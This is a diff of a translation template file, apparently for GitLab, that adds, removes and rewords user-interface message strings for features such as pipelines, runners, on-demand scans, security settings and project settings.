@@ -23811,7 +24187,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule %{obstacle} in Project %{project}"
+msgid "OnCallSchedules|On-call schedule %{obstacle} in project %{project}"
msgstr ""
msgid "OnCallSchedules|On-call schedules"
@@ -23895,6 +24271,12 @@ msgstr ""
msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the Add a rotation button. To enable notifications for this schedule, you must also create an %{linkStart}escalation policy%{linkEnd}."
msgstr ""
+msgid "OnDemandScans|%{learnMoreLinkStart}Learn more about on-demand scans%{learnMoreLinkEnd}."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch on-demand scans. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -23985,19 +24367,19 @@ msgstr ""
msgid "OnDemandScans|Target"
msgstr ""
-msgid "OnDemandScans|Use existing scanner profile"
+msgid "OnDemandScans|There are no finished scans."
msgstr ""
-msgid "OnDemandScans|Use existing site profile"
+msgid "OnDemandScans|There are no running scans."
msgstr ""
-msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgid "OnDemandScans|Use existing scanner profile"
msgstr ""
-msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues and merge requests."
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
@@ -24017,6 +24399,12 @@ msgid_plural "%d more items"
msgstr[0] ""
msgstr[1] ""
+msgid "One or more contacts were successfully added."
+msgstr ""
+
+msgid "One or more contacts were successfully removed."
+msgstr ""
+
msgid "One or more groups that you don't have access to."
msgstr ""
@@ -24056,6 +24444,9 @@ msgstr ""
msgid "Only effective when remote storage is enabled. Set to 0 for no size limit."
msgstr ""
+msgid "Only enable search after installing the plugin, enabling indexing, and recreating the index."
+msgstr ""
+
msgid "Only include features new to your current subscription tier."
msgstr ""
@@ -24077,6 +24468,9 @@ msgstr ""
msgid "Only reCAPTCHA v2 is supported:"
msgstr ""
+msgid "Only use lowercase letters, numbers, and underscores."
+msgstr ""
+
msgid "Only users from the specified IP address ranges are able to reach this group, including all subgroups, projects, and Git repositories."
msgstr ""
@@ -24095,7 +24489,7 @@ msgstr ""
msgid "Open Selection"
msgstr ""
-msgid "Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
+msgid "Open a CLI and connect to the cluster you want to install the agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
msgstr ""
msgid "Open epics"
@@ -24335,6 +24729,9 @@ msgstr ""
msgid "Package type must be Maven"
msgstr ""
+msgid "Package type must be NPM"
+msgstr ""
+
msgid "Package type must be NuGet"
msgstr ""
@@ -24691,6 +25088,9 @@ msgstr ""
msgid "Page settings"
msgstr ""
+msgid "Page size"
+msgstr ""
+
msgid "PagerDutySettings|Active"
msgstr ""
@@ -24787,9 +25187,6 @@ msgstr ""
msgid "Password"
msgstr ""
-msgid "Password (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Password (optional)"
msgstr ""
@@ -25042,6 +25439,12 @@ msgstr ""
msgid "Pipeline %{label} for \"%{dataTitle}\""
msgstr ""
+msgid "Pipeline Editor"
+msgstr ""
+
+msgid "Pipeline Editor|Are you sure you want to reset the file to its last committed version?"
+msgstr ""
+
msgid "Pipeline ID"
msgstr ""
@@ -25357,9 +25760,6 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
-msgid "Pipelines|No artifacts available"
-msgstr ""
-
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -25489,6 +25889,9 @@ msgstr ""
msgid "Pipeline|Created"
msgstr ""
+msgid "Pipeline|Creating pipeline."
+msgstr ""
+
msgid "Pipeline|Date"
msgstr ""
@@ -25504,9 +25907,6 @@ msgstr ""
msgid "Pipeline|In progress"
msgstr ""
-msgid "Pipeline|Key"
-msgstr ""
-
msgid "Pipeline|Manual"
msgstr ""
@@ -25597,10 +25997,10 @@ msgstr ""
msgid "Pipeline|Triggerer"
msgstr ""
-msgid "Pipeline|Value"
+msgid "Pipeline|Variables"
msgstr ""
-msgid "Pipeline|Variables"
+msgid "Pipeline|View commit"
msgstr ""
msgid "Pipeline|View pipeline"
@@ -25741,6 +26141,9 @@ msgstr ""
msgid "Please enter a valid number"
msgstr ""
+msgid "Please enter a valid time interval"
+msgstr ""
+
msgid "Please enter or upload a valid license."
msgstr ""
@@ -25768,9 +26171,6 @@ msgstr ""
msgid "Please note that this application is not provided by GitLab and you should verify its authenticity before allowing access."
msgstr ""
-msgid "Please only enable search after installing the plugin, enabling indexing and recreating the index"
-msgstr ""
-
msgid "Please provide a name"
msgstr ""
@@ -26011,7 +26411,7 @@ msgstr ""
msgid "Prev"
msgstr ""
-msgid "Prevent adding new members to project membership within this group"
+msgid "Prevent adding new members to projects within this group"
msgstr ""
msgid "Prevent auto-stopping"
@@ -26293,7 +26693,7 @@ msgstr ""
msgid "Profiles|Do not show on profile"
msgstr ""
-msgid "Profiles|Don't display activity-related personal information on your profiles"
+msgid "Profiles|Don't display activity-related personal information on your profile"
msgstr ""
msgid "Profiles|Edit Profile"
@@ -26314,13 +26714,13 @@ msgstr ""
msgid "Profiles|Enter your pronouns to let people know how to refer to you"
msgstr ""
-msgid "Profiles|Expired key is not valid."
+msgid "Profiles|Expiration date"
msgstr ""
-msgid "Profiles|Expired:"
+msgid "Profiles|Expired key is not valid."
msgstr ""
-msgid "Profiles|Expires at"
+msgid "Profiles|Expired:"
msgstr ""
msgid "Profiles|Expires:"
@@ -26362,13 +26762,16 @@ msgstr ""
msgid "Profiles|Key"
msgstr ""
-msgid "Profiles|Key can still be used after expiration."
+msgid "Profiles|Key becomes invalid on this date."
msgstr ""
-msgid "Profiles|Key usable beyond expiration date."
+msgid "Profiles|Key becomes invalid on this date. Maximum lifetime for SSH keys is %{max_ssh_key_lifetime} days"
msgstr ""
-msgid "Profiles|Key will be deleted on this date."
+msgid "Profiles|Key can still be used after expiration."
+msgstr ""
+
+msgid "Profiles|Key usable beyond expiration date."
msgstr ""
msgid "Profiles|Last used:"
@@ -26698,9 +27101,6 @@ msgstr ""
msgid "Project name"
msgstr ""
-msgid "Project name suffix"
-msgstr ""
-
msgid "Project navigation"
msgstr ""
@@ -26779,6 +27179,9 @@ msgstr ""
msgid "ProjectOverview|Unstar"
msgstr ""
+msgid "ProjectOverview|You don't have permission to fork this project"
+msgstr ""
+
msgid "ProjectOverview|You have reached your project limit"
msgstr ""
@@ -27046,12 +27449,18 @@ msgstr ""
msgid "ProjectSettings|Manages large files such as audio, video, and graphics files."
msgstr ""
+msgid "ProjectSettings|Maximum 500 characters."
+msgstr ""
+
msgid "ProjectSettings|Merge checks"
msgstr ""
msgid "ProjectSettings|Merge commit"
msgstr ""
+msgid "ProjectSettings|Merge commit message template"
+msgstr ""
+
msgid "ProjectSettings|Merge commit with semi-linear history"
msgstr ""
@@ -27121,6 +27530,9 @@ msgstr ""
msgid "ProjectSettings|Requirements management system."
msgstr ""
+msgid "ProjectSettings|Search for topic"
+msgstr ""
+
msgid "ProjectSettings|Security & Compliance"
msgstr ""
@@ -27145,6 +27557,9 @@ msgstr ""
msgid "ProjectSettings|Snippets"
msgstr ""
+msgid "ProjectSettings|Squash commit message template"
+msgstr ""
+
msgid "ProjectSettings|Squash commits when merging"
msgstr ""
@@ -27166,6 +27581,12 @@ msgstr ""
msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
+msgid "ProjectSettings|The commit message used when merging, if the merge method creates a merge commit. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|The commit message used when squashing commits. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|The default target project for merge requests created in this fork project."
msgstr ""
@@ -27370,6 +27791,9 @@ msgstr ""
msgid "Projects with no vulnerabilities and security scanning enabled"
msgstr ""
+msgid "Projects with this topic"
+msgstr ""
+
msgid "Projects with write access"
msgstr ""
@@ -27577,6 +28001,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote issue to incident"
+msgstr ""
+
msgid "Promote to epic"
msgstr ""
@@ -27595,9 +28022,15 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotes issue to incident"
+msgstr ""
+
msgid "Promotion is not supported."
msgstr ""
+msgid "Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!"
+msgstr ""
+
msgid "Promotions|Add Group Webhooks and GitLab Enterprise Edition."
msgstr ""
@@ -27958,6 +28391,9 @@ msgstr ""
msgid "Public Access Help"
msgstr ""
+msgid "Public deploy keys"
+msgstr ""
+
msgid "Public deploy keys (%{deploy_keys_count})"
msgstr ""
@@ -28120,6 +28556,9 @@ msgstr ""
msgid "PushoverService|Total commits count: %{total_commits_count}"
msgstr ""
+msgid "QualitySummary|Project quality"
+msgstr ""
+
msgid "Quarters"
msgstr ""
@@ -28234,6 +28673,12 @@ msgstr ""
msgid "Recaptcha verified?"
msgstr ""
+msgid "Receive a $50 gift card as a thank you for your time."
+msgstr ""
+
+msgid "Receive a %{strongOpen}$50 gift card%{strongClose} as a thank you for your time."
+msgstr ""
+
msgid "Receive alerts from manually configured Prometheus servers."
msgstr ""
@@ -28335,9 +28780,6 @@ msgstr ""
msgid "Regex pattern"
msgstr ""
-msgid "Region that Elasticsearch is configured"
-msgstr ""
-
msgid "Register"
msgstr ""
@@ -28505,6 +28947,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove Zoom meeting."
+msgstr ""
+
msgid "Remove access"
msgstr ""
@@ -28532,6 +28977,9 @@ msgstr ""
msgid "Remove assignee"
msgstr ""
+msgid "Remove attention request"
+msgstr ""
+
msgid "Remove avatar"
msgstr ""
@@ -28541,6 +28989,12 @@ msgstr ""
msgid "Remove child epic from an epic"
msgstr ""
+msgid "Remove customer relation contact(s)."
+msgstr ""
+
+msgid "Remove customer relation contacts"
+msgstr ""
+
msgid "Remove deploy key"
msgstr ""
@@ -28658,15 +29112,15 @@ msgstr ""
msgid "Removed %{reviewer_text} %{reviewer_references}."
msgstr ""
-msgid "Removed %{type} with id %{id}"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
msgid "Removed an issue from an epic."
msgstr ""
+msgid "Removed attention request from @%{username}"
+msgstr ""
+
msgid "Removed group can not be restored!"
msgstr ""
@@ -28682,6 +29136,9 @@ msgstr ""
msgid "Removed time estimate."
msgstr ""
+msgid "Removed upload with id %{id}"
+msgstr ""
+
msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
msgstr ""
@@ -28751,6 +29208,9 @@ msgstr ""
msgid "Reopen %{issueType}"
msgstr ""
+msgid "Reopen %{noteable}"
+msgstr ""
+
msgid "Reopen epic"
msgstr ""
@@ -28775,6 +29235,9 @@ msgstr ""
msgid "Replace"
msgstr ""
+msgid "Replace %{blob_name}"
+msgstr ""
+
msgid "Replace %{name}"
msgstr ""
@@ -28954,6 +29417,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Average test coverage last 30 days"
msgstr ""
+msgid "RepositoriesAnalytics|Code Coverage: %{averageCoverage}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -28975,6 +29441,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Jobs with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Jobs with Coverage: %{coverageCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Last Update"
msgstr ""
@@ -28993,6 +29462,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Projects with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Coverage: %{projectCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
@@ -29071,7 +29543,7 @@ msgstr ""
msgid "Repository update events"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / Pipeline Artifacts: %{counter_pipeline_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -29086,6 +29558,12 @@ msgstr ""
msgid "Request a new one"
msgstr ""
+msgid "Request attention"
+msgstr ""
+
+msgid "Request attention to review"
+msgstr ""
+
msgid "Request details"
msgstr ""
@@ -29107,6 +29585,9 @@ msgstr ""
msgid "Requested %{time_ago}"
msgstr ""
+msgid "Requested attention from @%{username}"
+msgstr ""
+
msgid "Requested design version does not exist."
msgstr ""
@@ -29146,6 +29627,9 @@ msgstr ""
msgid "Required in this project."
msgstr ""
+msgid "Required only if you are not using role instance credentials."
+msgstr ""
+
msgid "Requirement %{reference} has been added"
msgstr ""
@@ -29213,6 +29697,9 @@ msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset file"
+msgstr ""
+
msgid "Reset filters"
msgstr ""
@@ -29529,6 +30016,9 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|All"
+msgstr ""
+
msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
msgstr ""
@@ -29583,6 +30073,9 @@ msgstr ""
msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
msgstr ""
+msgid "Runners|Group"
+msgstr ""
+
msgid "Runners|Group Runners"
msgstr ""
@@ -29595,6 +30088,9 @@ msgstr ""
msgid "Runners|Install a runner"
msgstr ""
+msgid "Runners|Instance"
+msgstr ""
+
msgid "Runners|Last contact"
msgstr ""
@@ -29616,6 +30112,9 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|No recent contact from this runner; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Not available to run jobs"
msgstr ""
@@ -29628,12 +30127,18 @@ msgstr ""
msgid "Runners|Online"
msgstr ""
+msgid "Runners|Online Runners"
+msgstr ""
+
msgid "Runners|Paused"
msgstr ""
msgid "Runners|Platform"
msgstr ""
+msgid "Runners|Project"
+msgstr ""
+
msgid "Runners|Property Name"
msgstr ""
@@ -29667,6 +30172,9 @@ msgstr ""
msgid "Runners|Runner #%{runner_id}"
msgstr ""
+msgid "Runners|Runner ID"
+msgstr ""
+
msgid "Runners|Runner assigned to project."
msgstr ""
@@ -29676,6 +30184,9 @@ msgstr ""
msgid "Runners|Runner is online, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner is online; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
@@ -29706,12 +30217,18 @@ msgstr ""
msgid "Runners|Something went wrong while fetching the tags suggestions"
msgstr ""
+msgid "Runners|Status"
+msgstr ""
+
msgid "Runners|Stop the runner from accepting new jobs."
msgstr ""
msgid "Runners|Tags"
msgstr ""
+msgid "Runners|This runner has never connected to this instance"
+msgstr ""
+
msgid "Runners|This runner is associated with one or more projects."
msgstr ""
@@ -29769,19 +30286,25 @@ msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr ""
-msgid "Runners|group"
+msgid "Runners|active"
msgstr ""
-msgid "Runners|instance"
+msgid "Runners|group"
msgstr ""
msgid "Runners|locked"
msgstr ""
-msgid "Runners|paused"
+msgid "Runners|not connected"
msgstr ""
-msgid "Runners|project"
+msgid "Runners|offline"
+msgstr ""
+
+msgid "Runners|online"
+msgstr ""
+
+msgid "Runners|paused"
msgstr ""
msgid "Runners|shared"
@@ -29862,21 +30385,6 @@ msgstr ""
msgid "SVG illustration"
msgstr ""
-msgid "SastEntryPoints|Add Security Testing"
-msgstr ""
-
-msgid "SastEntryPoints|Catch your security vulnerabilities ahead of time!"
-msgstr ""
-
-msgid "SastEntryPoints|GitLab can scan your code for security vulnerabilities. Static Application Security Testing (SAST) helps you worry less and build more."
-msgstr ""
-
-msgid "SastEntryPoints|How do I set up SAST?"
-msgstr ""
-
-msgid "SastEntryPoints|Learn more"
-msgstr ""
-
msgid "Satisfied"
msgstr ""
@@ -30253,6 +30761,9 @@ msgstr ""
msgid "Secure token that identifies an external storage request."
msgstr ""
+msgid "SecureCodeWarrior"
+msgstr ""
+
msgid "Security"
msgstr ""
@@ -30277,6 +30788,9 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "Security training with guide and learning pathways."
+msgstr ""
+
msgid "SecurityApprovals|A merge request approval is required when a security report contains a new vulnerability."
msgstr ""
@@ -30325,7 +30839,7 @@ msgstr ""
msgid "SecurityConfiguration|Available with Ultimate"
msgstr ""
-msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
+msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the merge request."
msgstr ""
msgid "SecurityConfiguration|Compliance"
@@ -30340,7 +30854,7 @@ msgstr ""
msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure with a merge request"
msgstr ""
msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
@@ -30352,7 +30866,7 @@ msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
-msgid "SecurityConfiguration|Create Merge Request"
+msgid "SecurityConfiguration|Create merge request"
msgstr ""
msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
@@ -30412,6 +30926,9 @@ msgstr ""
msgid "SecurityConfiguration|Security testing"
msgstr ""
+msgid "SecurityConfiguration|Security training"
+msgstr ""
+
msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
msgstr ""
@@ -30421,6 +30938,9 @@ msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability Management"
+msgstr ""
+
msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request"
msgstr ""
@@ -30445,6 +30965,12 @@ msgstr ""
msgid "SecurityOrchestration|An error occurred assigning your security policy project"
msgstr ""
+msgid "SecurityOrchestration|An error occurred unassigning your security policy project"
+msgstr ""
+
+msgid "SecurityOrchestration|Choose a project"
+msgstr ""
+
msgid "SecurityOrchestration|Description"
msgstr ""
@@ -30514,7 +31040,10 @@ msgstr ""
msgid "SecurityOrchestration|Scan execution policies can only be created by project owners."
msgstr ""
-msgid "SecurityOrchestration|Scan to be performed every %{cadence} on the %{branches}"
+msgid "SecurityOrchestration|Scan to be performed %{cadence}"
+msgstr ""
+
+msgid "SecurityOrchestration|Scan to be performed %{cadence} on the %{branches}"
msgstr ""
msgid "SecurityOrchestration|Scan to be performed on every pipeline on the %{branches}"
@@ -30523,6 +31052,9 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project was linked successfully"
msgstr ""
+msgid "SecurityOrchestration|Security policy project was unlinked successfully"
+msgstr ""
+
msgid "SecurityOrchestration|Select a project to store your security policies in. %{linkStart}More information.%{linkEnd}"
msgstr ""
@@ -30544,6 +31076,12 @@ msgstr ""
msgid "SecurityOrchestration|To widen your search, change filters above or select a different security policy project."
msgstr ""
+msgid "SecurityOrchestration|Unlink project"
+msgstr ""
+
+msgid "SecurityOrchestration|Unlinking a security project removes all policies stored in the linked security project. Save to confirm this action."
+msgstr ""
+
msgid "SecurityOrchestration|Update scan execution policies"
msgstr ""
@@ -30763,7 +31301,7 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
-msgid "SecurityReports|The Vulnerability Report shows the results of the lastest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
+msgid "SecurityReports|The Vulnerability Report shows the results of the latest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
@@ -30796,6 +31334,9 @@ msgstr ""
msgid "SecurityReports|There was an error while generating the report."
msgstr ""
+msgid "SecurityReports|These vulnerabilities were detected in external sources. They are not necessarily tied to your GitLab project. For example, running containers, URLs, and so on."
+msgstr ""
+
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
@@ -30934,6 +31475,9 @@ msgstr ""
msgid "Select assignee"
msgstr ""
+msgid "Select assignee(s)"
+msgstr ""
+
msgid "Select branch"
msgstr ""
@@ -31138,9 +31682,6 @@ msgstr ""
msgid "Sep"
msgstr ""
-msgid "Separate topics with commas."
-msgstr ""
-
msgid "September"
msgstr ""
@@ -31240,7 +31781,16 @@ msgstr ""
msgid "Service"
msgstr ""
-msgid "Service Accounts keys are required to authorize GitLab to deploy your Google Cloud project."
+msgid "Service Account"
+msgstr ""
+
+msgid "Service Account Key"
+msgstr ""
+
+msgid "Service Accounts"
+msgstr ""
+
+msgid "Service Accounts keys authorize GitLab to deploy your Google Cloud project"
msgstr ""
msgid "Service Desk"
@@ -31252,6 +31802,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service account generated successfully"
+msgstr ""
+
msgid "Service ping is disabled in your configuration file, and cannot be enabled through this form."
msgstr ""
@@ -31297,6 +31850,9 @@ msgstr ""
msgid "ServicePing|Turn on service ping to review instance-level analytics."
msgstr ""
+msgid "Services"
+msgstr ""
+
msgid "Session ID"
msgstr ""
@@ -31378,6 +31934,9 @@ msgstr ""
msgid "Set the iteration to %{iteration_reference}."
msgstr ""
+msgid "Set the maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "Set the maximum session time for a web terminal."
msgstr ""
@@ -31435,9 +31994,6 @@ msgstr ""
msgid "Set what should be replicated by this secondary site."
msgstr ""
-msgid "SetPasswordToCloneLink|set a password"
-msgstr ""
-
msgid "SetStatusModal|Add status emoji"
msgstr ""
@@ -31512,9 +32068,6 @@ msgid_plural "Settings saved successfully"
msgstr[0] ""
msgstr[1] ""
-msgid "Setting this to 0 means using the system default timeout value."
-msgstr ""
-
msgid "Settings"
msgstr ""
@@ -31581,6 +32134,27 @@ msgstr ""
msgid "Sherlock Transactions"
msgstr ""
+msgid "Shimo|Go to Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Link to a Shimo Workspace from the sidebar."
+msgstr ""
+
+msgid "Shimo|Shimo"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace URL"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace integration is enabled"
+msgstr ""
+
+msgid "Shimo|You've enabled the Shimo Workspace integration. You can view your wiki directly in Shimo."
+msgstr ""
+
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{boldStart}will%{boldEnd} lose access to your account."
msgstr ""
@@ -31596,6 +32170,9 @@ msgstr ""
msgid "Show all activity"
msgstr ""
+msgid "Show all breadcrumbs"
+msgstr ""
+
msgid "Show all issues."
msgstr ""
@@ -31644,18 +32221,9 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me how to add a pipeline"
-msgstr ""
-
msgid "Show one file at a time"
msgstr ""
-msgid "Show parent pages"
-msgstr ""
-
-msgid "Show parent subgroups"
-msgstr ""
-
msgid "Show the Closed list"
msgstr ""
@@ -32020,6 +32588,12 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong trying to load issue contacts."
+msgstr ""
+
+msgid "Something went wrong when creating a work item. Please try again"
+msgstr ""
+
msgid "Something went wrong when reordering designs. Please try again"
msgstr ""
@@ -32104,9 +32678,6 @@ msgstr ""
msgid "Something went wrong while fetching the environments for this merge request. Please try again."
msgstr ""
-msgid "Something went wrong while fetching the package."
-msgstr ""
-
msgid "Something went wrong while fetching the packages list."
msgstr ""
@@ -32383,9 +32954,6 @@ msgstr ""
msgid "Source Branch"
msgstr ""
-msgid "Source Editor instance is required to set up an extension."
-msgstr ""
-
msgid "Source IP"
msgstr ""
@@ -32404,6 +32972,33 @@ msgstr ""
msgid "Source project cannot be found."
msgstr ""
+msgid "SourceEditor|\"el\" parameter is required for createInstance()"
+msgstr ""
+
+msgid "SourceEditor|%{name} is not registered."
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either a class or a function"
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either class, function, or an Array of definitions."
+msgstr ""
+
+msgid "SourceEditor|Extensions Store is required to check for an extension."
+msgstr ""
+
+msgid "SourceEditor|Name conflict for \"%{prop}()\" method."
+msgstr ""
+
+msgid "SourceEditor|No extension for unuse has been specified."
+msgstr ""
+
+msgid "SourceEditor|Source Editor instance is required to set up an extension."
+msgstr ""
+
+msgid "SourceEditor|`definition` property is expected on the extension."
+msgstr ""
+
msgid "Sourcegraph"
msgstr ""
@@ -32557,9 +33152,6 @@ msgstr ""
msgid "Start a review"
msgstr ""
-msgid "Start and due date"
-msgstr ""
-
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -32704,6 +33296,9 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{failed} failed"
+msgstr ""
+
msgid "StatusCheck|%{pending} pending"
msgstr ""
@@ -32725,7 +33320,7 @@ msgstr ""
msgid "StatusCheck|Apply this status check to all branches or a specific protected branch."
msgstr ""
-msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgid "StatusCheck|Check for a status response in merge requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
msgstr ""
msgid "StatusCheck|Examples: QA, Security."
@@ -32734,6 +33329,9 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
+msgid "StatusCheck|Failed to load status checks"
+msgstr ""
+
msgid "StatusCheck|Failed to load status checks."
msgstr ""
@@ -32755,6 +33353,12 @@ msgstr ""
msgid "StatusCheck|Status checks"
msgstr ""
+msgid "StatusCheck|Status checks all passed"
+msgstr ""
+
+msgid "StatusCheck|Status checks are being fetched"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
@@ -32770,6 +33374,9 @@ msgstr ""
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
+msgid "StatusCheck|status checks"
+msgstr ""
+
msgid "StatusPage|AWS %{docsLink}"
msgstr ""
@@ -33755,10 +34362,10 @@ msgstr ""
msgid "Terraform|Terraform init command"
msgstr ""
-msgid "Terraform|The report %{name} failed to generate."
+msgid "Terraform|The job %{name} failed to generate a report."
msgstr ""
-msgid "Terraform|The report %{name} was generated in your pipelines."
+msgid "Terraform|The job %{name} generated a report."
msgstr ""
msgid "Terraform|To get access to this terraform state from your local computer, run the following command at the command line. The first line requires a personal access token with API read and write access. %{linkStart}How do I create a personal access token?%{linkEnd}."
@@ -34013,7 +34620,7 @@ msgstr ""
msgid "The URL should start with http:// or https://"
msgstr ""
-msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
+msgid "The URLs for connecting to Elasticsearch. For clustering, add the URLs separated by commas."
msgstr ""
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
@@ -34049,7 +34656,10 @@ msgstr ""
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
-msgid "The contact does not belong to the same group as the issue."
+msgid "The contact does not belong to the same group as the issue"
+msgstr ""
+
+msgid "The content editor may change the markdown formatting style of the document, which may not match your original markdown style."
msgstr ""
msgid "The content of this page is not encoded in UTF-8. Edits can only be made via the Git repository."
@@ -34255,9 +34865,6 @@ msgstr ""
msgid "The maximum number of pipeline minutes that a group can use on shared runners per month. 0 for unlimited."
msgstr ""
-msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
-msgstr ""
-
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -34390,9 +34997,6 @@ msgstr ""
